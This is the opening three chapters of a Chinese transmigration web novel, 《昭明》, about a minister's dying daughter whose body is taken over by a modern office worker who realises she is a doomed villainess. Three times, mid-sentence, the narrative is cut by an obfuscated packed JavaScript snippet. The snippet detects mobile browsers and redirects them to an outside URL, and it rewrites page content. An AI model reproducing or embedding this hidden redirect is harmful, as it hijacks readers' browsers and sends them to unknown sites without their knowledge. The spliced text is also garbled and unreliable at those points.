《昭明》 1. 黄雀 夜,如同一滩浓墨铺陈开来,京城在这墨色的晕染中陷入了沉睡。 二更刚过,只见一抬小轿绕过道道街区,穿过重重府第,最终停在了西街一处诺大的宅邸后门,头顶的匾额上镀金的“云府”二字在夜色中熠熠生辉。 轿中之人身披一玄色斗篷,小心翼翼地探出半个身子,四下张望,反复确定无人后,才下了轿子,轻轻敲了敲门,不一会儿便有一名婆子开了角门引他进去。 “郭院判,老爷和夫人正在小姐房中等您。”那婆子说罢,提着灯笼在前面带路。 郭院判道了声谢,跟在她身后。只见这云府中漆黑一片,连灯都来不及点,远处隐隐传来一阵阵压抑的哭声,在这万籁俱寂的夜晚显得格外瘆人。 郭院判越发狐疑。 今夜他本在宫里轮值,约莫一炷香之前,突然有一小太监传话,说是云家小姐不好了,请他速速前往云府,一切出宫事宜均已打点妥当。 本来深夜无诏出宫前往大臣府中看诊乃是大忌,但这云府的当家,如今的内阁首辅、玄崇殿大学士云琛同他颇有些往来,也是全靠这位云阁老,他一介贫民出身的郎中才得以进入太医院坐上这院判的位置。所以他便匆匆寻了个理由暂时离开,随着那小太监一路出了宫来到云府。 前面带路的婆子乃是云府夫人的陪房王良家的,之前休沐的时候来云府看诊时见过几回,现下他忍不住同她打听:“王大娘,阁老这么晚派人传我来,小姐究竟是怎么了?” 王良家的并未马上回答,反而问郭院判道:“大人,如今我们小姐的事儿怕是宫里面都传遍了吧?” 郭院判不置可否,这位云小姐痴恋当今圣上,为了入宫在家闹起绝食的事,早就在宫里面传得沸沸扬扬了。 他的沉默便是回答,王良家的心下了然,随即重重地叹了口气道: “哎,真是作孽。小姐这些时日里不吃不喝,跟老爷闹着别扭,昨儿夜里不知怎的了,一心寻死,跳到花园的池子里,幸亏她身边的贴身丫鬟汀雪发现得早,才把人捞了上来,但还是着了风寒发起烧来,白日里一直在说胡话,到了今儿晚上,已经是出气多进气少了。” 郭院判一听,心头也是一紧,没想到云小姐竟是严重到了如此地步。 他在太医院当职,也算半个宫里人,那些为了争宠无所不用其极的嫔妃们见得多了,头一次见到这么……执拗的,既有些傻气,又不免让人怜惜。 这位云小姐他见过,生得跟画中人似的,又是云阁老四十岁上才得的独女,从小自然是被捧在手心里养大的,想到她为了这等事想不开,郭院判也不由地长叹一声。 王良家的听到他也叹气,又想到他在宫里当差早晚能得到消息,便放心打开了话匣子。 “郭大人,我们老爷本就是上了岁数的人,这几日为了小姐的事头发都熬白了不少,听说陛下好不容易允了小姐的事,圣旨恐怕这几日就要下来。现在小姐人若是不好,陛下怪罪下来,要如何交代啊……” “确实。”郭院判附和,接着以只有自己能听到的声音嘟囔道,“这人若是没了,欺君之罪都算是轻了。” 不过王良家的并未听见,为了表达感激,她一路上都在絮絮叨叨。 “还好有大人在……本来老爷就与陛下有些嫌隙,如今这事儿,外面的郎中信不过,怕走漏了风声,只有大人您,不仅医术了得,我们老爷也是绝对放心的……” 郭院判也不好插话,只由她自顾自地说着,亦步亦趋地跟在她身后,步伐和动作愈发拘谨了。、 不一会儿,他们穿过云府的花园,来到一个不小的精巧院落外,王良家的终于停下。 “到了,前面便是小姐的院子。” 相比入府后一路上的漆黑冷寂,院内又是另一番光景。 十多个丫鬟婆子忙前忙后,院中桂花开得极盛,却被浓重的药味掩盖了花香。 云琛双手负背立于小亭内,紧锁眉头,比平日里在朝堂上与人争执时还要严肃百倍。一旁坐着的夫人柳氏看着清减了不少,脸上未施粉黛,双眼通红,正低头抹着泪。 王良家的领着郭院判同夫妇二人请安。 见到郭院判,云琛如见救星,顾不上官场那堆繁文缛节,直接上前握住他的手道:“建泽,好好好,你终于来了!快,快随我来,看看小女。” 郭院判跟在云琛和柳氏身后进了内屋,药味比外间更浓。 一名丫鬟为他搬来一张软凳,郭院判坐下后略略一望,只见塌上躺着的少女脸色惨白发青,气若游丝,显然已是虚弱到了极致。 云琛也清楚女儿的性命已危在旦夕,便索性让他不用在意什么男女大防,直接看诊便是。 郭院判也不推诿,轻轻将手搭在云小姐雪白的腕上。 谁知这脉相一探,他的眉头立刻像打了结似的,拧成了一团。 末了,他似乎极不甘心的样子,又上前轻轻掰开云小姐的眼皮,仔细地观察着。 察觉到他脸色的变化,柳氏立马坐不住了,声音像拉紧的弦一样发涩,催道:“怎么样,郭大人,小女到底怎么样了?” 郭院判不忍,反复看了看云小姐的眼睛,又再次把脉确认,最后终于重重地叹了口气。 云琛也变了脸色,急切地问道:“建泽,如何?” 经过再三犹豫斟酌后,郭院判还是如实答道:“气血两虚且气滞不通,又受了风寒,瞳孔已有扩散的迹象,怕是难了。” 他话音刚落,柳氏一声低呼,差点晕倒,吓得两名丫鬟连忙上去搀扶。 “建泽,就真的没法子救小女了吗?” 云琛声音颤抖,平时朝堂上的威严笃定已荡然无存,只剩下惶恐。 郭院判的医术他是最信得过的,他能从一市井郎中成为太医院院判,虽然背后少不了自己的推波助澜,但归根结底,靠的还是这一手妙手回春的本事。现在他说救不了,那就算是换成这京城里其他的大夫,也是徒劳。 郭院判摇了摇头道:“阁老,恕下官直言。令爱连日来滴水未进,粒米未沾,忧思过度,身子已经被耗干了,听说昨晚又落了水受了风寒,这就是换成大罗金仙来,恐怕也回天乏术啊。” 云琛闻言,身子晃了晃,仿佛刹那之间老了十岁。 此刻,面对爱女的药石罔效,这位官居一人之下,万人之上的首辅,也不过是个年过花甲,风烛残年的老人。 “怪我,都怪我啊,早知道会成这样,就由着她去了,不就是皇上吗,不就是皇上吗,有什么嫁不了的,全都怪我啊……” 他嘴里喃喃地念着,懊悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108277|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不已,鬓边的几缕白发被夜风吹起,在烛光下来回晃荡。 只可惜,在生死大事面前,纵使权倾朝野,也换不来这预知的本事。 郭院判多少能理解他。 如今的皇帝赵昶登基不久,对这位两朝首辅很是忌惮,已成了朝中公开的秘密。这次能说动皇帝让自己女儿入宫,云琛背后不知道费了多大的力气,拿了多少把柄交换,若是女儿没了,又惹恼了皇帝,那云家也就是彻底到头了。 他心里有些愧疚,想了想只好开口道:“阁老,如今之计,只能让下官用家传之法为令爱施针,尽量拖着,后面就……就全凭造化了,若是令爱福大命大,能熬过今夜,或许还有一线转机。” 话虽这么说,但郭院判也知道,此刻只能是尽人事听天命了,有时候仅存的一分希望对于家属来说,也是能救命的稻草。他进入太医院之前辗转各地行医多年,也不是没见过那种一夜之间起死回生的怪事。 云琛盯着案台上摇曳的烛火,沉默不语。 蜡烛是他们进屋时新点的,此时已经燃了小半截,烛心发出兹拉兹拉的声响,像是不耐烦地催促着屋里人快点离开。 不知过了多久,云琛终于横下心来,咬牙道: “就按你说的来吧……建泽,拜托了。” 说罢他疲惫地转过身,不敢再看榻上的少女一眼,负手而立的身形在烛光下显得又佝偻了几分。 郭院判便为云小姐施针,完事儿后他还是像平常一样留了个方子,尽到他作为医者的最后一分职责。 于是待一切结束,他离开云府的时候,外面已是三更天了。 天上的浓云已散,一轮孤月高悬夜空,清亮的月光把地上的一切照得惨白惨白的。 这立秋后的天气越发冷了,夜晚更是如此,但坐在小轿上的郭院判却汗流浃背。 回宫这一路上,他的手僵硬地半握成拳,微微发着抖,仿佛刚才那刺入皮肤的银针还停留在指尖,仔细回忆今晚冒冒失失出宫这一趟,不觉有些心惊肉跳。 虽说云阁老对他有恩,也信任有加,但若是云小姐没能挺过今夜,最后少不得也要怪罪他几分。而且,他深夜擅自离宫,出入云府的事如果被皇帝知道了,那怕是他有几个脑袋都不够掉的…… 郭院判越想越觉得后怕,忍不住埋怨自己今夜实在是太冲动了。 所幸,载着他的软轿顺利地通过重重宫门,很快就在太医院门口稳稳停下。 太医院里一切如常,门口值守的小医士睡得正香,没有人注意到他的离开与归来,只有风吹着树叶,发出挲挲的声响。 看来自己今夜擅自出入云府并未被发现。 郭院判终于重重地舒了口气,彻底地放下了心。 但就在他进了院子,准备往屋内走时,突然听到身后传来一个刻意压低的声音。 “这么晚了,郭院判今夜离宫是去了何处?” 那声音他好像在哪里听见过,有些熟悉,仿佛淬了雪的刀刃,透着凛然的寒意。 郭院判吓得立马转身,当看见那双用金线绣着云纹的皂靴时,立刻反应过来了面前人的身份,一瞬间双腿发软。 他就像是被抽掉了骨头一样,噗通一声跌坐了下去。 “侯……侯爷,饶命,饶命啊!” 2. 惊梦 云昭昭是半夜被饿醒的。 醒来的时候,四周烛火通明,只见洒金的茜色纱帐宛若傍晚的云霞,精美的紫檀木妆台上妆奁半开,露出几支点翠的金簪,上面碧绿的翡翠如同一汪盛满月光的深泉,再往另一边看去,雨过天青色的汝窑美人觚,鎏金的香炉,羊脂白玉的案屏…… 她难以置信地揉了揉眼睛,终于意识到,眼前这一切,不是梦。 难道说……她穿越了? 可是,这种只可能发生在书里、电视剧里的桥段,怎么可能发生在她的身上? 她不是个运气好的人,从来都不是。 从出生开始,她就“恰巧”生在一个重男轻女的家庭,高中毕业的时候遇上二胎开放,突然有了一个比她小十八岁的弟弟。 为了逃离以后无痛当妈的命运,她和父母大吵了一架,故意填报了离家很远的大学,一个人在大城市漂泊。 但求学的过程好像也不是那么幸运,哪怕她很努力地去卷学分,但保研的时候还是争不过同院的关系户,最终与读研无缘。 再后来,恋爱、工作……好像人生的每一条赛道她都付出了比常人多的努力,但最终的结果上,总是会出现各种各样的棋差一招、失之交臂。 就算在她穿越前的那一刻,她还在工位上忙着改明天项目汇报的PPT。 为了这次汇报她已经熬了好几个大夜,早就头痛欲裂,但还是咬着牙在坚持。她好不容易得到了这个机会,不能白白地浪费。 她不想被公司里那些尸位素餐的小部门主管给踩在脚下,她要让更大的领导看到,她要站得更高,让那些人怎么够都够不到。 可笑的是,老天最后连这个机会都不给她,一阵心脏绞痛后,她就失去意识来到了这个地方。 想到这里,云昭昭再次确认眼前的一切不是幻觉。 柔软的丝绸、冰凉的玉石、温润的东珠……混合着屋里浓郁的药香,一切那么真实、鲜明、生动。 突然间,她想到了什么,挣扎着起身,走到妆台的铜镜面前。 镜中立刻出现了一张陌生少女的脸,苍白,消瘦。 但就是这张脸,让云昭昭知道了什么叫做美人在骨不在皮,哪怕是这样未施粉黛、带着病气的素颜,都是美的,若是略加打扮,不知道该是怎样的明艳不可方物。 她看得出神,越看越感叹有的人生来就是夺目的明珠,而像自己这样的人,怎么折腾打磨都是混在石头堆里的石子。 这时,屋门忽地被人推开,一名蓝衣丫鬟进门后看到云昭昭披头散发地坐在铜镜前,双眼无神,直勾勾地盯着镜子,吓得立刻尖叫起来。 “啊——” 云昭昭也被她吓了一大跳,她刚刚穿越还未适应身份的变化,于是很自然地就把自己代入成了一个闯入者,下意识地就从凳子上弹起来,想去制止那个小丫鬟,让她安静下来。 结果那小丫鬟看见她朝自己走来,更是吓得脸都变了色,带着哭腔喊道:“小姐,你别过来……别过来啊……” 云昭昭注意到她手上紧紧攥着什么明黄色的事物,正准备开口询问,一名稍高一点的绿衣丫鬟出现了在门口。 “汀雪,你这丫头,在尖叫什么!还让不让人睡觉了……” 原来,她是刚才听见这房中有动静,便过来查看。 她一边埋怨一边揉着眼睛,余光突然看见云昭昭,立刻面露喜色:“小姐?!您醒了吗?太好了!” “啊,小、小、小姐是醒了吗?” 那名被唤作汀雪的丫鬟手倏地一下抬头,带着一种如梦初醒的表情,手中那个黄色的物件没等云昭昭看清楚就被她飞快地塞进了衣袖里。 “小姐,小姐,真的是你吗?”汀雪问道。 “你在说什么胡话?”绿衣丫鬟怼道,“不是小姐还能是谁?” 汀雪自知失言,低头认错:“小姐,对不起,对不起!” 她扑腾一下跪在云昭昭脚边,畏畏缩缩地磕了个响头。 “刚才汀雪以为您已经、已经……对不起,您要罚就罚我吧。” 云昭昭哪里习惯别人对她这样,尤其汀雪这么一个清秀的小姑娘,脸上带着做错事后的受惊与惶恐,活像只被遗弃的小动物,她连忙蹲下身主动拉她起来。 “你……你不要这样,快起来,地上凉。” 她主动向她示好,表示友善。 可汀雪却被她的动作吓得花容失色,直接趴在地上抱着云昭昭的脚,放声大哭。 “小姐,我错了,饶了汀雪吧!小姐,我真的错了!” 一旁的绿衣丫鬟瞧见云昭昭有些尴尬,便准备去扶,结果汀雪只一个劲儿地磕头,怎么拉都拉不起来。 绿衣丫鬟很是无奈,只好看向云昭昭,面露难色,“小姐,这……” 眼看着汀雪的额头已经快磕出了血,云昭昭除了反复解释自己并不会同她计较以外,也是一筹莫展。 正在这时,外面又传来了人声:“流霜、汀雪,你们半夜不睡,在这里做什么?” 原来是柳氏带着两名婆子赶到了。她整夜都放心不下女儿,听到这边传来哭声便立刻带人过来了,进屋见到云昭昭好端端地站在自己面前,登时又惊又喜。 “昭儿!你醒了?!” 听她这么称呼自己,云昭昭倒是一点不奇怪,毕竟穿越到古代一个同名同姓的人身上实属正常。 她还来不及反应柳氏的身份,便被她紧紧抱在怀里。 “我的儿,总算醒过来了,这几日娘都担心死你了,真是老天有眼,你若有个三长两短,娘也活不下去了。” 原来是这具身体的母亲。云昭昭心想。 但她反而更接不上话了。 穿越前她已经很少与父母来往,根本不会应付这种母慈子孝的场面,只能任由柳氏抱着自己。 柳氏慈爱地抚摸她的头发,又说:“不止娘着急,你爹也是一样,别看他平日不苟言笑,但其实他最是疼你,为了你的事,头发都熬白了不少,答应娘,以后可别再跟他这样闹了啊。” 她动作话语之间皆是关切之意,再不接话就不合适了。云昭昭只好尴尬地“嗯”了一声,算是应了。 不知道为什么,她有些羡慕自己这原身,不仅出生在官宦人家,从小含着金汤匙长大,而且生在古代就有这么疼爱她的父母,想想自己来自21世纪,科技发达,文化自由……却是有着截然不同的待遇。 柳氏的怀抱很温柔,她的身上残留着淡淡的脂粉味,又在经过外面院子的时候沾了一身桂花香味,暖暖的,甜甜的,跟记忆里小时候妈妈身上的味道很像。 云昭昭贪恋地吸了吸鼻子,想到弟弟出生后,自己与父母分离的这几年,眼眶不禁湿润了。 她还记得离开家那年,自己坐在北上的火车里,周围都是送学生的家长,只有她孤零零地守在行李旁,好像隔着一道空气墙,将她与其他人隔绝在了两个世界。 后来火车开了,外面熟悉的城市被抛在身后,她则默默地在心里告诫自己,以后就不再是小孩子了。 既然不是小孩子,那也不能再像自己那个只知道吃奶的弟弟一样,一天到晚没出息地哭。所以,后来无论是保研失败,还是职场上遭遇小人排挤,她从来没哭过。 这是第一次,在穿越后的陌生世界,当着几个陌生人的面,躲在一个陌生的“娘”的怀里,她像个小孩子一样哭了出来。 很快,柳氏察觉到她的异样,连忙松开了手问:“昭儿,怎么哭了?” 她心疼地替她擦去眼泪,“别哭啊,娘在这呢。” 结果她的这个动作反而让云昭昭哭得更厉害了。 柳氏以为眼前的“女儿”还在为之前云琛不让她入宫而委屈,便笑着牵起云昭昭的手,安慰道:“好了好了,娘有个好消息要说与你听。” 云昭昭迷迷糊糊地顺口接了一句:“什么?” 柳氏眨了眨眼,笑道:“我儿啊,在你病倒这期间,你入宫的事情,陛下已经答应了。你高兴么?” “什么,入入入入宫?!” 云昭昭闻言,整个人呆若木鸡,睫毛上还挂着几滴将落未落的眼泪,看上去有点滑稽。 柳氏见她如此惊讶,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108278|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为她是激动过头了,便笑着刮了一下她的腮帮,打趣道:“怎么,睡了一觉就全忘了?等以后进宫做了娘娘,可别把爹和娘也给忘了。” 云昭昭这下是真的慌了,她刚穿越,还没搞清楚情况呢,怎么就要进宫了? 她才不想当什么娘娘,不想被圈禁在宫墙里,更不想同一堆女人争风吃醋,斗得你死我活。 慌乱之下,她只好拉下脸,扭着柳氏哀求道:“娘……我不想入宫,您能不能再去同爹说说。” 柳氏奇道:“你这丫头,不是一心想要入宫嫁给陛下吗,为此才和你爹大闹了一场,还把自己弄成这样,怎么现在又变卦了?” 云昭昭没辙,只好搬出穿越故事里最常见的失忆大法。 她低着头,为难地绞着裙子道:“娘,女儿也不想瞒着您,我、我好像什么都记不得了。” 这话一出,原本跪在一旁的汀雪发出一声惊呼。 大家这才注意到她还跪着,柳氏这才想起到这里来的缘由,皱着眉道:“汀雪,你跪在这里做什么,之前那声尖叫是你发出来的?” “是。” 汀雪怯怯地点了点头,解释道:“回夫人,奴婢半夜起来方便,听见小姐房内有声音就想着过来看看。结果,当时小姐披着头发对着镜子梳头,那样子就像、就像……嗯,所以奴婢以为小姐她……嗯……所以,就不小心叫了出来。” 她话说得吞吞吐吐,但所有人都明白了她的意思。 汀雪又说:“奴婢自知冲撞了小姐,所以跪在这里等着,请小姐和夫人责罚。” “罚你干什么,”柳氏简直哭笑不得,“前天还多亏了你及时发现,把小姐救起来,才捡回来了一条命。起来吧。” “是。” 汀雪闻言慢吞吞地起身,又似是担心地看了一眼云昭昭,然后默默退到了一边。 短暂的插曲之后,柳氏的全部心思都回到了云昭昭身上,她关切地问:“昭儿,仔细想想,你有哪些事情想不起来了?” 云昭昭只好干笑着老实道:“呃……全部都想不起来了,想不起来我是谁,也想不起来你们是谁……头好疼,脑子也好乱……” 看她神情像是真的,几个丫鬟婆子们脸上都露出了难以置信的表情。没有人注意到,刚才退到角落里的汀雪,在听到这话的时候,重重地舒了一口气。 柳氏还算淡定,因为昨晚郭院判临走前特地嘱咐过,发烧到这种程度的病人,即使施了针把人救了回来,短时间内想不起来事情都是正常现象。况且对柳氏来说,比起失去唯一的女儿,失忆已经算是最不那么要紧的后果了。 云昭昭见柳氏半天不回话,以为她是难以接受女儿失忆这件事,为了避免进宫,她索性横下心来,趁热打铁地哭诉道:“娘,女儿不想进宫,女儿很害怕。女儿就想陪在爹和娘身边一辈子。” 但柳氏却以为这只是小女儿的害羞情态,便温声安抚道: “傻孩子,哪有女儿家的陪在爹娘身边一辈子不嫁人的?之前你不是一眼就相中了陛下吗?放心,有你爹在,他赵昶再怎么样也不会对你不好……” “等等!” 云昭昭突然听到了一个有些熟悉的名字。 “娘,你说那人他、他叫什么来着?”她睁大眼睛问道。 虽然直呼皇帝的名讳有些不敬,但柳氏以为云昭昭想起来了什么,便又重复了一次:“赵昶。” “哪,哪个昶字?” 云昭昭牙关有些发紧,头好像真的疼起来了。 柳氏只好拉过她的手,一笔一划,慢慢写下那个字。 看着手心的笔画,云昭昭的脸一下子白了。 这世上该不会有这么巧合的事吧? 她嘴唇打着颤,小心翼翼地问:“那我爸……我爹叫什么名字?在朝中任何职?” 柳氏已然把她当成了失忆要赶紧找回记忆的样子,更加耐心地答道:“你爹姓云,单名一个琛字,乃当朝首辅——” 她话音未落,就看见面前的云昭昭两眼一黑。 “昭儿!昭儿!你怎么了?昭儿!快醒醒!” 3. 失窃 穿越后的这具身体虚弱得很,云昭昭一直到了当天下午才醒来。 午后的阳光透过窗纸,在那些精致的金银器上反射出璀璨夺目的光泽,比昨天半夜看上去耀眼,但她却像看不见一样,周围一切华美的陈设通通失去了光泽。 此刻,她脑子乱得很。因为……她似乎穿越到了之前看过的一本后宫咸鱼文里?! 在那本书里,身为庶女的女主代替嫡姐入宫后,不仅靠着躺平当咸鱼挡下了各种明枪暗箭,还凭借着自己随遇而安的咸鱼性子和吃货人设深得书中男主,也就是皇帝的宠爱。自此女主一路打脸反派,一路躺着升位分受封赏,甚至到了故事的最后,男主还为她遣散了后宫,独宠她一人。 男主的名字正好叫赵昶,当时云昭昭特地去查了字典,才知道怎么念。 而男主的后宫里,正好也有一名姓云的贵妃,其父亲也是内阁首辅,朝中一等一的权臣,名字正好也叫云琛。 这位云贵妃倾国倾城,骄纵跋扈,因为痴恋赵昶所以将女主视为眼中钉,恨不得使尽一切手段将其拔除。她手段狠,战斗力强,哪怕一次次受挫败,一次次不受赵昶待见,总是能重整旗鼓,使尽各种手段争宠,想方设法陷害女主,是女主打脸上位之路上的最大阻碍,所以她的下场也最惨,甚至连整个云氏都被灭了九族。 她在书里没有留下姓名,但云昭昭清楚地记着,作者在形容其美貌的时候,正好引用了一句“昭昭若日月之明”。因为与自己名字有所关联,所以她一直记忆犹新。 可世上怎么会有这么多的“正好”呢?唯一的解释就是她穿进了这本书里,成为了里面的云贵妃。 云昭昭顿感头疼。 别人的穿书是去书里享福的,而她的穿书仿佛是来受难的。 这还不如让她直接猝死在工位上算了。至少不给反应的时间,也少了很多痛苦。 于是整个下午,她都在慌乱地想着对策,想着如何装病,想着如何才能让原身的父亲主动去求皇帝取消婚事,但老天似乎并不给她这个机会,当天傍晚,宫里的圣旨便下来了。 她被封为贵妃,择一个月后的良辰吉日行典礼入宫,随圣旨一同而来的还有黄金万两,丝绸千匹,珍珠百斛,红珊瑚十盆,夜明珠一对……除了这些封赏外,太后还专门指派了一名教引嬷嬷前来云府教授宫中的规矩和事务。 圣旨一下,一切终于尘埃落定,纵使如来佛祖降临也改变不了分毫。 云琛虽对自己女儿只被封了个贵妃有所不满,但念及赵昶三年孝期还未过,且准备迎接云昭昭进宫的仪仗和礼数俱是按照迎娶皇后的规格来安排的,便也就此作罢。 自此,云府上上下下,一时间喜气洋洋。 唯有云昭昭把自己关在房里,谁也不见,嘴上对柳氏说是自己头疼,身子不舒服,但她的贴身丫鬟流霜却发现,自从圣旨下来以后,小姐就像丢了魂儿似的,很是消沉,整日郁郁寡欢,一言不发。 流霜很是困惑,自家小姐之前无论如何都要嫁给皇上,如今可算是心想事成了,就算想不起来以前的事了,也不至于这么闷闷不乐吧? 而且再过两日宫里的教引嬷嬷就要来了,那可是在太后跟前服侍的人,若是凭着小姐的性子,不喜约束,什么人都不放在眼里,那必定会冲撞了嬷嬷…… 想到这里,流霜不由得担心起来。 但很快,她就发现自己的担心完全是多余的,因为云昭昭没过几日就恢复了从前的精气神。 而且更让她惊讶的是,小姐的性子似乎同以前不太一样了。 不只是她一人发现了这个变化,云府里上到云琛柳氏,下到几乎所有丫鬟婆子,都察觉到了这一点。 下人们私下议论着,小姐的行事作风不再像从前那样骄傲跋扈了,变得平易近人了许多,甚至还开始主动关心府中的大小事务。 比如,她会询问府里负责采买的小厮和婆子几时出门,关心他们外出是否便易;也会亲自去视察厨房和丫鬟们的房间,关心他们的生活起居;她甚至还时不时地找流霜和汀雪聊天,打听老爷、夫人甚至府中管家的习惯和喜好,放在从前,她是绝对不屑于去做这些事情的。 流霜不免有些感慨,她七岁那年被发卖进云府,跟着小姐一起长大,知道她本性不坏,只是性子过于刚强耿直,又被娇宠坏了,才显得不像京城同辈的那些官家小姐那般温柔讨喜。 以前流霜常听老辈们说,在鬼门关走过的人会看破生死,脱胎换骨,而如今的云昭昭就是这样,不仅像是换了个人,而且还一夜之间成熟了不少,颇有点未来女主人的架势。 甚至那位宫里来的教引嬷嬷也对云昭昭赞不绝口。 这位嬷嬷姓苏,名月容,据说先帝时期她曾担任尚寝局的女官,后来牵扯进了一桩旧案中,证得清白后被太后选中,侍奉左右,算是个在太后跟前说得上话的。 这日,在流霜接她至云昭昭房间授课的这一路上,她一个劲儿地夸着云昭昭。 “霜姑娘,老身在宫中侍奉多年,也见过了不少贵人,只能说云小姐不愧是阁老的千金,学东西极快,这才不到几日,老身都觉得没什么东西可以教给她了。” 流霜谨慎又客气地问她:“苏嬷嬷,我家小姐应该没给您添麻烦吧?” “怎么会呢,能为未来的贵妃娘娘教授宫中事务,是老身的荣幸。”苏嬷嬷满脸堆笑,“况且老身这几日仔细观察,觉得云小姐虽性子比别的官家小姐活泼了些,却通情达理、进退有度,倒是和外面传的大不相同。” “什么传闻?”流霜虽然心里有数,但还是忍不住有些好奇。 苏嬷嬷恰到好处地解释道:“姑娘你想必也能猜到,宫里人多口杂,云小姐出身贵重,多少双眼睛都盯着呢,难免少不了眼红嚼舌根的人,也不知道谁在太后娘娘面前说了什么,太后娘娘体恤云小姐,担心她入了宫不适应,才特派老身前来提前教授一二。” “那还要烦请嬷嬷回宫后在太后娘娘面前替我家小姐解释解释,好让她老人家放心。” “这是自然的。” 流霜立马对苏嬷嬷表示感谢,并将一只小小的锦袋塞到了苏嬷嬷手里。 “多谢嬷嬷,这是我家夫人的一点心意,这几日承蒙嬷嬷照顾小姐了。” 那锦袋虽小,掂起来却沉甸甸的,里面装着满满的金锞子,苏嬷嬷说什么都不肯收。 “诶,姑娘快收回去,老身也是奉太后娘娘的旨意行事。” 她虽然推辞了,语气却比之前要亲切不少,她向流霜透露道:“也不瞒着姑娘,陛下登基眼看就快满三年了,这孝期马上就要过去,现在宫里虽有些老人,但终究缺个管事的。此番待云小姐入了宫,便是宫里位分最高的女人,太后娘娘说了,到时候会让云小姐先学着协理六宫事务。” 流霜会意,又千恩万谢地谢过,两人很快到了云昭昭的房间门口,刚踏进屋门半步,便看见云昭昭坐在妆台前,台上的妆奁大开着,旁边还放了一个精致的匣子,里面珠宝首饰全部被倒了出来,摆了满桌。 云昭昭拿着一只金钗左瞧瞧右看看,然后拣起一只翡翠手镯摸了又摸,突然抬头看到流霜和苏嬷嬷来了,便飞快地将手中的首饰放下,她向苏嬷嬷行了礼,又唤来汀雪,让她去取些茶点果子送过来。 “小姐,你刚才在做什么?” 流霜很是疑惑地问道。她最近总是撞见云昭昭一个人在屋里盘点着这些首饰。 “没什么,真没什么,就是随便看看。”云昭昭一面让流霜与自己一同收着桌上的首饰,一面亲昵地对苏嬷嬷笑着说,“让嬷嬷见笑了,我这马上要离开家了,以前收藏的这堆小玩意儿,还怪舍不得的。” 苏嬷嬷笑道:“小姐若是喜欢,直接带进宫里便是,或是命司珍局依着图样去做就是了。” 云昭昭笑嘻嘻地说:“这哪成,这不合规矩,嬷嬷这又是在故意考验我呢。” 她话音刚落,苏嬷嬷还未来得及接话,一旁的流霜突然插了一嘴。 “小姐,你这妆奁里的首饰,怎么数着好像少了几件?” 云昭昭闻言,似乎难以置信,语气很是惊讶:“啊,少了?怎么会少了呢?” 流霜一件一件地又重新数过,最后肯定地说:“小姐,确实少了,少了四件,好像是海棠点翠红宝石步摇、玫瑰掐丝缕金簪,还有……还有两个金镯子。” 云昭昭愣了下,随即附和道:“额……你这么说,好像是少了几件。” 她说罢扶了下额头,有些为难地对流霜说:“哎,瞧瞧我这之前大病了一场,记性不大好,你倒记得清楚。” “奴婢每日都替小姐梳妆,自然清楚。”流霜义愤填膺道,“肯定是哪个下人干的,趁着小姐病倒这些日子顺走了,别是偷去当了,做些吃酒赌博的勾当罢?真是岂有此理!小姐,看来得命人仔细搜一遍这府中下人的屋子了,那些手脚不干净的,趁早打发了出去。” 汀雪出去端了茶点回来,正好听到她这么说,便立刻表示了不同意见,在一旁劝道:“霜姐姐,这怕是不妥吧。” 流霜瞪了她一眼,没好气道:“有什么不妥的,家贼难防,自然得小心着点儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108279|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汀雪放下茶盘,听她这么一说,涨红了一张脸,绞着裙子边解释道:“霜姐姐,我只是觉得……现下正逢着小姐的喜事,家里的姑娘婆子都跟着热闹……咱们、咱们这样大张旗鼓地搜查,岂不是败坏了大伙儿的兴致,等传了出去,又要被外头的人编排咱们小姐的不是。” 一旁的苏嬷嬷这时在一旁附和道:“汀雪姑娘说得是,小姐,容老奴插个嘴,等将来你入了宫,得了陛下和太后娘娘的喜欢,要多少稀奇的,舶来的宝贝没有,咱们没必要在这个节骨眼儿上出岔子。” 云昭昭听了,若有所思,既没表示赞同也没说反对,流霜只好暂且作罢,让苏嬷嬷开始她今日的授课。 又过了几个时辰,送走了苏嬷嬷,流霜见四下无人,便寻了个机会关上房门,悄悄对云昭昭说:“小姐,奴婢觉得,汀雪那丫头最近行事甚为古怪。” 云昭昭不甚在意地问:“怎么古怪了?” 流霜压低了声音说:“奴婢觉得她最近总是一个人鬼鬼祟祟的,偶尔有几日半夜里奴婢醒过来,发现她竟不在床上睡觉,后来我故意醒着等她回来,那丫头却慌慌张张称自己是去如厕。依奴婢看,怕不是趁小姐病着,进屋偷东西了吧。” 云昭昭默默地听完流霜的话,神情倒是比平时严肃:“我倒觉得这事儿应该不是汀雪干的,你们俩从小和我一起长大,怎么会做这种事。” 